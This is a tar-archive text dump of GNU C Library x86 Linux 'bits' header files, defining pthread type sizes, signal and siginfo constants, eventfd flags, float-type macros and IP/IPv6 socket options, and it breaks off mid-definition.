ustar 00 /* Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_PTHREADTYPES_ARCH_H #define _BITS_PTHREADTYPES_ARCH_H 1 #include <bits/wordsize.h> #ifdef __x86_64__ # if __WORDSIZE == 64 # define __SIZEOF_PTHREAD_MUTEX_T 40 # define __SIZEOF_PTHREAD_ATTR_T 56 # define __SIZEOF_PTHREAD_MUTEX_T 40 # define __SIZEOF_PTHREAD_RWLOCK_T 56 # define __SIZEOF_PTHREAD_BARRIER_T 32 # else # define __SIZEOF_PTHREAD_MUTEX_T 32 # define __SIZEOF_PTHREAD_ATTR_T 32 # define __SIZEOF_PTHREAD_MUTEX_T 32 # define __SIZEOF_PTHREAD_RWLOCK_T 44 # define __SIZEOF_PTHREAD_BARRIER_T 20 # endif #else # define __SIZEOF_PTHREAD_MUTEX_T 24 # define __SIZEOF_PTHREAD_ATTR_T 36 # define __SIZEOF_PTHREAD_MUTEX_T 24 # define __SIZEOF_PTHREAD_RWLOCK_T 32 # define __SIZEOF_PTHREAD_BARRIER_T 20 #endif #define __SIZEOF_PTHREAD_MUTEXATTR_T 4 #define __SIZEOF_PTHREAD_COND_T 48 #define __SIZEOF_PTHREAD_CONDATTR_T 4 #define __SIZEOF_PTHREAD_RWLOCKATTR_T 8 #define __SIZEOF_PTHREAD_BARRIERATTR_T 4 /* Definitions for internal mutex struct. */ #define __PTHREAD_COMPAT_PADDING_MID #define __PTHREAD_COMPAT_PADDING_END #define __PTHREAD_MUTEX_LOCK_ELISION 1 #ifdef __x86_64__ # define __PTHREAD_MUTEX_NUSERS_AFTER_KIND 0 # define __PTHREAD_MUTEX_USE_UNION 0 #else # define __PTHREAD_MUTEX_NUSERS_AFTER_KIND 1 # define __PTHREAD_MUTEX_USE_UNION 1 #endif #define __LOCK_ALIGNMENT #define __ONCE_ALIGNMENT struct __pthread_rwlock_arch_t { unsigned int __readers; unsigned int __writers; unsigned int __wrphase_futex; unsigned int __writers_futex; unsigned int __pad3; unsigned int __pad4; #ifdef __x86_64__ int __cur_writer; int __shared; signed char __rwelision; # ifdef __ILP32__ unsigned char __pad1[3]; # define __PTHREAD_RWLOCK_ELISION_EXTRA 0, { 0, 0, 0 } # else unsigned char __pad1[7]; # define __PTHREAD_RWLOCK_ELISION_EXTRA 0, { 0, 0, 0, 0, 0, 0, 0 } # endif unsigned long int __pad2; /* FLAGS must stay at this position in the structure to maintain binary compatibility. */ unsigned int __flags; # define __PTHREAD_RWLOCK_INT_FLAGS_SHARED 1 #else /* FLAGS must stay at this position in the structure to maintain binary compatibility. */ unsigned char __flags; unsigned char __shared; signed char __rwelision; # define __PTHREAD_RWLOCK_ELISION_EXTRA 0 unsigned char __pad2; int __cur_writer; #endif }; #ifndef __x86_64__ /* Extra attributes for the cleanup functions. */ # define __cleanup_fct_attribute __attribute__ ((__regparm__ (1))) #endif #endif /* bits/pthreadtypes.h */ bits/siginfo-consts.h 0000644 00000013525 15246445046 0010643 0 ustar 00 /* siginfo constants. Linux version. Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SIGINFO_CONSTS_H #define _BITS_SIGINFO_CONSTS_H 1 #ifndef _SIGNAL_H #error "Don't include <bits/siginfo-consts.h> directly; use <signal.h> instead." #endif /* Most of these constants are uniform across all architectures, but there is one exception. */ #include <bits/siginfo-arch.h> #ifndef __SI_ASYNCIO_AFTER_SIGIO # define __SI_ASYNCIO_AFTER_SIGIO 1 #endif /* Values for `si_code'. Positive values are reserved for kernel-generated signals. */ enum { SI_ASYNCNL = -60, /* Sent by asynch name lookup completion. */ SI_TKILL = -6, /* Sent by tkill. */ SI_SIGIO, /* Sent by queued SIGIO. */ #if __SI_ASYNCIO_AFTER_SIGIO SI_ASYNCIO, /* Sent by AIO completion. */ SI_MESGQ, /* Sent by real time mesq state change. */ SI_TIMER, /* Sent by timer expiration. */ #else SI_MESGQ, SI_TIMER, SI_ASYNCIO, #endif SI_QUEUE, /* Sent by sigqueue. */ SI_USER, /* Sent by kill, sigsend. */ SI_KERNEL = 0x80 /* Send by kernel. */ #define SI_ASYNCNL SI_ASYNCNL #define SI_TKILL SI_TKILL #define SI_SIGIO SI_SIGIO #define SI_ASYNCIO SI_ASYNCIO #define SI_MESGQ SI_MESGQ #define SI_TIMER SI_TIMER #define SI_ASYNCIO SI_ASYNCIO #define SI_QUEUE SI_QUEUE #define SI_USER SI_USER #define SI_KERNEL SI_KERNEL }; # if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 /* `si_code' values for SIGILL signal. */ enum { ILL_ILLOPC = 1, /* Illegal opcode. */ # define ILL_ILLOPC ILL_ILLOPC ILL_ILLOPN, /* Illegal operand. */ # define ILL_ILLOPN ILL_ILLOPN ILL_ILLADR, /* Illegal addressing mode. */ # define ILL_ILLADR ILL_ILLADR ILL_ILLTRP, /* Illegal trap. */ # define ILL_ILLTRP ILL_ILLTRP ILL_PRVOPC, /* Privileged opcode. */ # define ILL_PRVOPC ILL_PRVOPC ILL_PRVREG, /* Privileged register. */ # define ILL_PRVREG ILL_PRVREG ILL_COPROC, /* Coprocessor error. */ # define ILL_COPROC ILL_COPROC ILL_BADSTK /* Internal stack error. */ # define ILL_BADSTK ILL_BADSTK }; /* `si_code' values for SIGFPE signal. */ enum { FPE_INTDIV = 1, /* Integer divide by zero. */ # define FPE_INTDIV FPE_INTDIV FPE_INTOVF, /* Integer overflow. */ # define FPE_INTOVF FPE_INTOVF FPE_FLTDIV, /* Floating point divide by zero. */ # define FPE_FLTDIV FPE_FLTDIV FPE_FLTOVF, /* Floating point overflow. */ # define FPE_FLTOVF FPE_FLTOVF FPE_FLTUND, /* Floating point underflow. */ # define FPE_FLTUND FPE_FLTUND FPE_FLTRES, /* Floating point inexact result. */ # define FPE_FLTRES FPE_FLTRES FPE_FLTINV, /* Floating point invalid operation. */ # define FPE_FLTINV FPE_FLTINV FPE_FLTSUB /* Subscript out of range. */ # define FPE_FLTSUB FPE_FLTSUB }; /* `si_code' values for SIGSEGV signal. */ enum { SEGV_MAPERR = 1, /* Address not mapped to object. */ # define SEGV_MAPERR SEGV_MAPERR SEGV_ACCERR, /* Invalid permissions for mapped object. */ # define SEGV_ACCERR SEGV_ACCERR SEGV_BNDERR, /* Bounds checking failure. */ # define SEGV_BNDERR SEGV_BNDERR SEGV_PKUERR /* Protection key checking failure. */ # define SEGV_PKUERR SEGV_PKUERR }; /* `si_code' values for SIGBUS signal. */ enum { BUS_ADRALN = 1, /* Invalid address alignment. */ # define BUS_ADRALN BUS_ADRALN BUS_ADRERR, /* Non-existant physical address. */ # define BUS_ADRERR BUS_ADRERR BUS_OBJERR, /* Object specific hardware error. */ # define BUS_OBJERR BUS_OBJERR BUS_MCEERR_AR, /* Hardware memory error: action required. */ # define BUS_MCEERR_AR BUS_MCEERR_AR BUS_MCEERR_AO /* Hardware memory error: action optional. */ # define BUS_MCEERR_AO BUS_MCEERR_AO }; # endif # ifdef __USE_XOPEN_EXTENDED /* `si_code' values for SIGTRAP signal. */ enum { TRAP_BRKPT = 1, /* Process breakpoint. */ # define TRAP_BRKPT TRAP_BRKPT TRAP_TRACE /* Process trace trap. */ # define TRAP_TRACE TRAP_TRACE }; # endif # if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 /* `si_code' values for SIGCHLD signal. */ enum { CLD_EXITED = 1, /* Child has exited. */ # define CLD_EXITED CLD_EXITED CLD_KILLED, /* Child was killed. */ # define CLD_KILLED CLD_KILLED CLD_DUMPED, /* Child terminated abnormally. */ # define CLD_DUMPED CLD_DUMPED CLD_TRAPPED, /* Traced child has trapped. */ # define CLD_TRAPPED CLD_TRAPPED CLD_STOPPED, /* Child has stopped. */ # define CLD_STOPPED CLD_STOPPED CLD_CONTINUED /* Stopped child has continued. */ # define CLD_CONTINUED CLD_CONTINUED }; /* `si_code' values for SIGPOLL signal. */ enum { POLL_IN = 1, /* Data input available. */ # define POLL_IN POLL_IN POLL_OUT, /* Output buffers available. */ # define POLL_OUT POLL_OUT POLL_MSG, /* Input message available. */ # define POLL_MSG POLL_MSG POLL_ERR, /* I/O error. */ # define POLL_ERR POLL_ERR POLL_PRI, /* High priority input available. */ # define POLL_PRI POLL_PRI POLL_HUP /* Device disconnected. */ # define POLL_HUP POLL_HUP }; # endif /* Architectures might also add architecture-specific constants. These are all considered GNU extensions. */ #ifdef __USE_GNU # include <bits/siginfo-consts-arch.h> #endif #endif bits/eventfd.h 0000644 00000002150 15246445046 0007321 0 ustar 00 /* Copyright (C) 2007-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_EVENTFD_H # error "Never use <bits/eventfd.h> directly; include <sys/eventfd.h> instead." #endif /* Flags for eventfd. */ enum { EFD_SEMAPHORE = 00000001, #define EFD_SEMAPHORE EFD_SEMAPHORE EFD_CLOEXEC = 02000000, #define EFD_CLOEXEC EFD_CLOEXEC EFD_NONBLOCK = 00004000 #define EFD_NONBLOCK EFD_NONBLOCK }; bits/endian.h 0000644 00000000260 15246445046 0007124 0 ustar 00 /* i386/x86_64 are little-endian. */ #ifndef _ENDIAN_H # error "Never use <bits/endian.h> directly; include <endian.h> instead." #endif #define __BYTE_ORDER __LITTLE_ENDIAN bits/signum.h 0000644 00000003141 15246445046 0007171 0 ustar 00 /* Signal number definitions. Linux version. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_SIGNUM_H #define _BITS_SIGNUM_H 1 #ifndef _SIGNAL_H #error "Never include <bits/signum.h> directly; use <signal.h> instead." #endif #include <bits/signum-generic.h> /* Adjustments and additions to the signal number constants for most Linux systems. */ #define SIGSTKFLT 16 /* Stack fault (obsolete). */ #define SIGPWR 30 /* Power failure imminent. */ #undef SIGBUS #define SIGBUS 7 #undef SIGUSR1 #define SIGUSR1 10 #undef SIGUSR2 #define SIGUSR2 12 #undef SIGCHLD #define SIGCHLD 17 #undef SIGCONT #define SIGCONT 18 #undef SIGSTOP #define SIGSTOP 19 #undef SIGTSTP #define SIGTSTP 20 #undef SIGURG #define SIGURG 23 #undef SIGPOLL #define SIGPOLL 29 #undef SIGSYS #define SIGSYS 31 #undef __SIGRTMAX #define __SIGRTMAX 64 #endif /* <signal.h> included. */ bits/floatn-common.h 0000644 00000023044 15246445046 0010444 0 ustar 00 /* Macros to control TS 18661-3 glibc features where the same definitions are appropriate for all platforms. Copyright (C) 2017-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _BITS_FLOATN_COMMON_H #define _BITS_FLOATN_COMMON_H #include <features.h> #include <bits/long-double.h> /* This header should be included at the bottom of each bits/floatn.h. It defines the following macros for each _FloatN and _FloatNx type, where the same definitions, or definitions based only on the macros in bits/floatn.h, are appropriate for all glibc configurations. */ /* Defined to 1 if the current compiler invocation provides a floating-point type with the right format for this type, and this glibc includes corresponding *fN or *fNx interfaces for it. */ #define __HAVE_FLOAT16 0 #define __HAVE_FLOAT32 1 #define __HAVE_FLOAT64 1 #define __HAVE_FLOAT32X 1 #define __HAVE_FLOAT128X 0 /* Defined to 1 if the corresponding __HAVE_<type> macro is 1 and the type is the first with its format in the sequence of (the default choices for) float, double, long double, _Float16, _Float32, _Float64, _Float128, _Float32x, _Float64x, _Float128x for this glibc; that is, if functions present once per floating-point format rather than once per type are present for this type. All configurations supported by glibc have _Float32 the same format as float, _Float64 and _Float32x the same format as double, the _Float64x the same format as either long double or _Float128. No configurations support _Float128x or, as of GCC 7, have compiler support for a type meeting the requirements for _Float128x. */ #define __HAVE_DISTINCT_FLOAT16 __HAVE_FLOAT16 #define __HAVE_DISTINCT_FLOAT32 0 #define __HAVE_DISTINCT_FLOAT64 0 #define __HAVE_DISTINCT_FLOAT32X 0 #define __HAVE_DISTINCT_FLOAT64X 0 #define __HAVE_DISTINCT_FLOAT128X __HAVE_FLOAT128X /* Defined to 1 if the corresponding _FloatN type is not binary compatible with the corresponding ISO C type in the current compilation unit as opposed to __HAVE_DISTINCT_FLOATN, which indicates the default types built in glibc. */ #define __HAVE_FLOAT128_UNLIKE_LDBL (__HAVE_DISTINCT_FLOAT128 \ && __LDBL_MANT_DIG__ != 113) /* Defined to 1 if any _FloatN or _FloatNx types that are not ABI-distinct are however distinct types at the C language level (so for the purposes of __builtin_types_compatible_p and _Generic). */ #if __GNUC_PREREQ (7, 0) && !defined __cplusplus # define __HAVE_FLOATN_NOT_TYPEDEF 1 #else # define __HAVE_FLOATN_NOT_TYPEDEF 0 #endif #ifndef __ASSEMBLER__ /* Defined to concatenate the literal suffix to be used with _FloatN or _FloatNx types, if __HAVE_<type> is 1. The corresponding literal suffixes exist since GCC 7, for C only. */ # if __HAVE_FLOAT16 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus /* No corresponding suffix available for this type. */ # define __f16(x) ((_Float16) x##f) # else # define __f16(x) x##f16 # endif # endif # if __HAVE_FLOAT32 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # define __f32(x) x##f # else # define __f32(x) x##f32 # endif # endif # if __HAVE_FLOAT64 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # ifdef __NO_LONG_DOUBLE_MATH # define __f64(x) x##l # else # define __f64(x) x # endif # else # define __f64(x) x##f64 # endif # endif # if __HAVE_FLOAT32X # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # define __f32x(x) x # else # define __f32x(x) x##f32x # endif # endif # if __HAVE_FLOAT64X # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # if __HAVE_FLOAT64X_LONG_DOUBLE # define __f64x(x) x##l # else # define __f64x(x) __f128 (x) # endif # else # define __f64x(x) x##f64x # endif # endif # if __HAVE_FLOAT128X # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # error "_Float128X supported but no constant suffix" # else # define __f128x(x) x##f128x # endif # endif /* Defined to a complex type if __HAVE_<type> is 1. */ # if __HAVE_FLOAT16 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus typedef _Complex float __cfloat16 __attribute__ ((__mode__ (__HC__))); # define __CFLOAT16 __cfloat16 # else # define __CFLOAT16 _Complex _Float16 # endif # endif # if __HAVE_FLOAT32 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # define __CFLOAT32 _Complex float # else # define __CFLOAT32 _Complex _Float32 # endif # endif # if __HAVE_FLOAT64 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # ifdef __NO_LONG_DOUBLE_MATH # define __CFLOAT64 _Complex long double # else # define __CFLOAT64 _Complex double # endif # else # define __CFLOAT64 _Complex _Float64 # endif # endif # if __HAVE_FLOAT32X # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # define __CFLOAT32X _Complex double # else # define __CFLOAT32X _Complex _Float32x # endif # endif # if __HAVE_FLOAT64X # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # if __HAVE_FLOAT64X_LONG_DOUBLE # define __CFLOAT64X _Complex long double # else # define __CFLOAT64X __CFLOAT128 # endif # else # define __CFLOAT64X _Complex _Float64x # endif # endif # if __HAVE_FLOAT128X # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # error "_Float128X supported but no complex type" # else # define __CFLOAT128X _Complex _Float128x # endif # endif /* The remaining of this file provides support for older compilers. */ # if __HAVE_FLOAT16 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus typedef float _Float16 __attribute__ ((__mode__ (__HF__))); # endif # if !__GNUC_PREREQ (7, 0) # define __builtin_huge_valf16() ((_Float16) __builtin_huge_val ()) # define __builtin_inff16() ((_Float16) __builtin_inf ()) # define __builtin_nanf16(x) ((_Float16) __builtin_nan (x)) # define __builtin_nansf16(x) ((_Float16) __builtin_nans (x)) # endif # endif # if __HAVE_FLOAT32 # if !__GNUC_PREREQ (7, 0) || defined __cplusplus typedef float _Float32; # endif # if !__GNUC_PREREQ (7, 0) # define __builtin_huge_valf32() (__builtin_huge_valf ()) # define __builtin_inff32() (__builtin_inff ()) # define __builtin_nanf32(x) (__builtin_nanf (x)) # define __builtin_nansf32(x) (__builtin_nansf (x)) # endif # endif # if __HAVE_FLOAT64 /* If double, long double and _Float64 all have the same set of values, TS 18661-3 requires the usual arithmetic conversions on long double and _Float64 to produce _Float64. For this to be the case when building with a compiler without a distinct _Float64 type, _Float64 must be a typedef for long double, not for double. */ # ifdef __NO_LONG_DOUBLE_MATH # if !__GNUC_PREREQ (7, 0) || defined __cplusplus typedef long double _Float64; # endif # if !__GNUC_PREREQ (7, 0) # define __builtin_huge_valf64() (__builtin_huge_vall ()) # define __builtin_inff64() (__builtin_infl ()) # define __builtin_nanf64(x) (__builtin_nanl (x)) # define __builtin_nansf64(x) (__builtin_nansl (x)) # endif # else # if !__GNUC_PREREQ (7, 0) || defined __cplusplus typedef double _Float64; # endif # if !__GNUC_PREREQ (7, 0) # define __builtin_huge_valf64() (__builtin_huge_val ()) # define __builtin_inff64() (__builtin_inf ()) # define __builtin_nanf64(x) (__builtin_nan (x)) # define __builtin_nansf64(x) (__builtin_nans (x)) # endif # endif # endif # if __HAVE_FLOAT32X # if !__GNUC_PREREQ (7, 0) || defined __cplusplus typedef double _Float32x; # endif # if !__GNUC_PREREQ (7, 0) # define __builtin_huge_valf32x() (__builtin_huge_val ()) # define __builtin_inff32x() (__builtin_inf ()) # define __builtin_nanf32x(x) (__builtin_nan (x)) # define __builtin_nansf32x(x) (__builtin_nans (x)) # endif # endif # if __HAVE_FLOAT64X # if __HAVE_FLOAT64X_LONG_DOUBLE # if !__GNUC_PREREQ (7, 0) || defined __cplusplus typedef long double _Float64x; # endif # if !__GNUC_PREREQ (7, 0) # define __builtin_huge_valf64x() (__builtin_huge_vall ()) # define __builtin_inff64x() (__builtin_infl ()) # define __builtin_nanf64x(x) (__builtin_nanl (x)) # define __builtin_nansf64x(x) (__builtin_nansl (x)) # endif # else # if !__GNUC_PREREQ (7, 0) || defined __cplusplus typedef _Float128 _Float64x; # endif # if !__GNUC_PREREQ (7, 0) # define __builtin_huge_valf64x() (__builtin_huge_valf128 ()) # define __builtin_inff64x() (__builtin_inff128 ()) # define __builtin_nanf64x(x) (__builtin_nanf128 (x)) # define __builtin_nansf64x(x) (__builtin_nansf128 (x)) # endif # endif # endif # if __HAVE_FLOAT128X # if !__GNUC_PREREQ (7, 0) || defined __cplusplus # error "_Float128x supported but no type" # endif # if !__GNUC_PREREQ (7, 0) # define __builtin_huge_valf128x() ((_Float128x) __builtin_huge_val ()) # define __builtin_inff128x() ((_Float128x) __builtin_inf ()) # define __builtin_nanf128x(x) ((_Float128x) __builtin_nan (x)) # define __builtin_nansf128x(x) ((_Float128x) __builtin_nans (x)) # endif # endif #endif /* !__ASSEMBLER__. */ #endif /* _BITS_FLOATN_COMMON_H */ bits/in.h 0000644 00000022372 15246445046 0006304 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* Linux version. */ #ifndef _NETINET_IN_H # error "Never use <bits/in.h> directly; include <netinet/in.h> instead." #endif /* If the application has already included linux/in6.h from a linux-based kernel then we will not define the IPv6 IPPROTO_* defines, in6_addr (nor the defines), sockaddr_in6, or ipv6_mreq. Same for in6_ptkinfo or ip6_mtuinfo in linux/ipv6.h. The ABI used by the linux-kernel and glibc match exactly. Neither the linux kernel nor glibc should break this ABI without coordination. In upstream kernel 56c176c9 the _UAPI prefix was stripped so we need to check for _LINUX_IN6_H and _IPV6_H now, and keep checking the old versions for maximum backwards compatibility. */ #if defined _UAPI_LINUX_IN6_H \ || defined _UAPI_IPV6_H \ || defined _LINUX_IN6_H \ || defined _IPV6_H /* This is not quite the same API since the kernel always defines s6_addr16 and s6_addr32. This is not a violation of POSIX since POSIX says "at least the following member" and that holds true. */ # define __USE_KERNEL_IPV6_DEFS 1 #else # define __USE_KERNEL_IPV6_DEFS 0 #endif /* Options for use with `getsockopt' and `setsockopt' at the IP level. The first word in the comment at the right is the data type used; "bool" means a boolean value stored in an `int'. */ #define IP_OPTIONS 4 /* ip_opts; IP per-packet options. */ #define IP_HDRINCL 3 /* int; Header is included with data. */ #define IP_TOS 1 /* int; IP type of service and precedence. */ #define IP_TTL 2 /* int; IP time to live. */ #define IP_RECVOPTS 6 /* bool; Receive all IP options w/datagram. */ /* For BSD compatibility. */ #define IP_RECVRETOPTS IP_RETOPTS /* bool; Receive IP options for response. */ #define IP_RETOPTS 7 /* ip_opts; Set/get IP per-packet options. */ #define IP_MULTICAST_IF 32 /* in_addr; set/get IP multicast i/f */ #define IP_MULTICAST_TTL 33 /* unsigned char; set/get IP multicast ttl */ #define IP_MULTICAST_LOOP 34 /* bool; set/get IP multicast loopback */ #define IP_ADD_MEMBERSHIP 35 /* ip_mreq; add an IP group membership */ #define IP_DROP_MEMBERSHIP 36 /* ip_mreq; drop an IP group membership */ #define IP_UNBLOCK_SOURCE 37 /* ip_mreq_source: unblock data from source */ #define IP_BLOCK_SOURCE 38 /* ip_mreq_source: block data from source */ #define IP_ADD_SOURCE_MEMBERSHIP 39 /* ip_mreq_source: join source group */ #define IP_DROP_SOURCE_MEMBERSHIP 40 /* ip_mreq_source: leave source group */ #define IP_MSFILTER 41 #ifdef __USE_MISC # define MCAST_JOIN_GROUP 42 /* group_req: join any-source group */ # define MCAST_BLOCK_SOURCE 43 /* group_source_req: block from given group */ # define MCAST_UNBLOCK_SOURCE 44 /* group_source_req: unblock from given group*/ # define MCAST_LEAVE_GROUP 45 /* group_req: leave any-source group */ # define MCAST_JOIN_SOURCE_GROUP 46 /* group_source_req: join source-spec gr */ # define MCAST_LEAVE_SOURCE_GROUP 47 /* group_source_req: leave source-spec gr*/ # define MCAST_MSFILTER 48 # define IP_MULTICAST_ALL 49 # define IP_UNICAST_IF 50 # define MCAST_EXCLUDE 0 # define MCAST_INCLUDE 1 #endif #define IP_ROUTER_ALERT 5 /* bool */ #define IP_PKTINFO 8 /* bool */ #define IP_PKTOPTIONS 9 #define IP_PMTUDISC 10 /* obsolete name? */ #define IP_MTU_DISCOVER 10 /* int; see below */ #define IP_RECVERR 11 /* bool */ #define IP_RECVTTL 12 /* bool */ #define IP_RECVTOS 13 /* bool */ #define IP_MTU 14 /* int */ #define IP_FREEBIND 15 #define IP_IPSEC_POLICY 16 #define IP_XFRM_POLICY 17 #define IP_PASSSEC 18 #define IP_TRANSPARENT 19 #define IP_MULTICAST_ALL 49 /* bool */ /* TProxy original addresses */ #define IP_ORIGDSTADDR 20 #define IP_RECVORIGDSTADDR IP_ORIGDSTADDR #define IP_MINTTL 21 #define IP_NODEFRAG 22 #define IP_CHECKSUM 23 #define IP_BIND_ADDRESS_NO_PORT 24 #define IP_RECVFRAGSIZE 25 /* IP_MTU_DISCOVER arguments. */ #define IP_PMTUDISC_DONT 0 /* Never send DF frames. */ #define IP_PMTUDISC_WANT 1 /* Use per route hints. */ #define IP_PMTUDISC_DO 2 /* Always DF. */ #define IP_PMTUDISC_PROBE 3 /* Ignore dst pmtu. */ /* Always use interface mtu (ignores dst pmtu) but don't set DF flag. Also incoming ICMP frag_needed notifications will be ignored on this socket to prevent accepting spoofed ones. */ #define IP_PMTUDISC_INTERFACE 4 /* Like IP_PMTUDISC_INTERFACE but allow packets to be fragmented. */ #define IP_PMTUDISC_OMIT 5 #define IP_MULTICAST_IF 32 #define IP_MULTICAST_TTL 33 #define IP_MULTICAST_LOOP 34 #define IP_ADD_MEMBERSHIP 35 #define IP_DROP_MEMBERSHIP 36 #define IP_UNBLOCK_SOURCE 37 #define IP_BLOCK_SOURCE 38 #define IP_ADD_SOURCE_MEMBERSHIP 39 #define IP_DROP_SOURCE_MEMBERSHIP 40 #define IP_MSFILTER 41 #define IP_MULTICAST_ALL 49 #define IP_UNICAST_IF 50 /* To select the IP level. */ #define SOL_IP 0 #define IP_DEFAULT_MULTICAST_TTL 1 #define IP_DEFAULT_MULTICAST_LOOP 1 #define IP_MAX_MEMBERSHIPS 20 #ifdef __USE_MISC /* Structure used to describe IP options for IP_OPTIONS and IP_RETOPTS. The `ip_dst' field is used for the first-hop gateway when using a source route (this gets put into the header proper). */ struct ip_opts { struct in_addr ip_dst; /* First hop; zero without source route. */ char ip_opts[40]; /* Actually variable in size. */ }; /* Like `struct ip_mreq' but including interface specification by index. */ struct ip_mreqn { struct in_addr imr_multiaddr; /* IP multicast address of group */ struct in_addr imr_address; /* local IP address of interface */ int imr_ifindex; /* Interface index */ }; /* Structure used for IP_PKTINFO. */ struct in_pktinfo { int ipi_ifindex; /* Interface index */ struct in_addr ipi_spec_dst; /* Routing destination address */ struct in_addr ipi_addr; /* Header destination address */ }; #endif /* Options for use with `getsockopt' and `setsockopt' at the IPv6 level. The first word in the comment at the right is the data type used; "bool" means a boolean value stored in an `int'. */ #define IPV6_ADDRFORM 1 #define IPV6_2292PKTINFO 2 #define IPV6_2292HOPOPTS 3 #define IPV6_2292DSTOPTS 4 #define IPV6_2292RTHDR 5 #define IPV6_2292PKTOPTIONS 6 #define IPV6_CHECKSUM 7 #define IPV6_2292HOPLIMIT 8 #define SCM_SRCRT IPV6_RXSRCRT #define IPV6_NEXTHOP 9 #define IPV6_AUTHHDR 10 #define IPV6_UNICAST_HOPS 16 #define IPV6_MULTICAST_IF 17 #define IPV6_MULTICAST_HOPS 18 #define IPV6_MULTICAST_LOOP 19 #define IPV6_JOIN_GROUP 20 #define IPV6_LEAVE_GROUP 21 #define IPV6_ROUTER_ALERT 22 #define IPV6_MTU_DISCOVER 23 #define IPV6_MTU 24 #define IPV6_RECVERR 25 #define IPV6_V6ONLY 26 #define IPV6_JOIN_ANYCAST 27 #define IPV6_LEAVE_ANYCAST 28 #define IPV6_IPSEC_POLICY 34 #define IPV6_XFRM_POLICY 35 #define IPV6_HDRINCL 36 /* Advanced API (RFC3542) (1). */ #define IPV6_RECVPKTINFO 49 #define IPV6_PKTINFO 50 #define IPV6_RECVHOPLIMIT 51 #define IPV6_HOPLIMIT 52 #define IPV6_RECVHOPOPTS 53 #define IPV6_HOPOPTS 54 #define IPV6_RTHDRDSTOPTS 55 #define IPV6_RECVRTHDR 56 #define IPV6_RTHDR 57 #define IPV6_RECVDSTOPTS 58 #define IPV6_DSTOPTS 59 #define IPV6_RECVPATHMTU 60 #define IPV6_PATHMTU 61 #define IPV6_DONTFRAG 62 /* Advanced API (RFC3542) (2). */ #define IPV6_RECVTCLASS 66 #define IPV6_TCLASS 67 #define IPV6_AUTOFLOWLABEL 70 /* RFC5014. */ #define IPV6_ADDR_PREFERENCES 72 /* RFC5082. */ #define IPV6_MINHOPCOUNT 73 #define IPV6_ORIGDSTADDR 74 #define IPV6_RECVORIGDSTADDR IPV6_ORIGDSTADDR #define IPV6_TRANSPARENT 75 #define IPV6_UNICAST_IF 76 #define IPV6_RECVFRAGSIZE 77 #define IPV6_FREEBIND 78 /* Obsolete synonyms for the above. */ #if !__USE_KERNEL_IPV6_DEFS # define IPV6_ADD_MEMBERSHIP IPV6_JOIN_GROUP # define IPV6_DROP_MEMBERSHIP IPV6_LEAVE_GROUP #endif #define 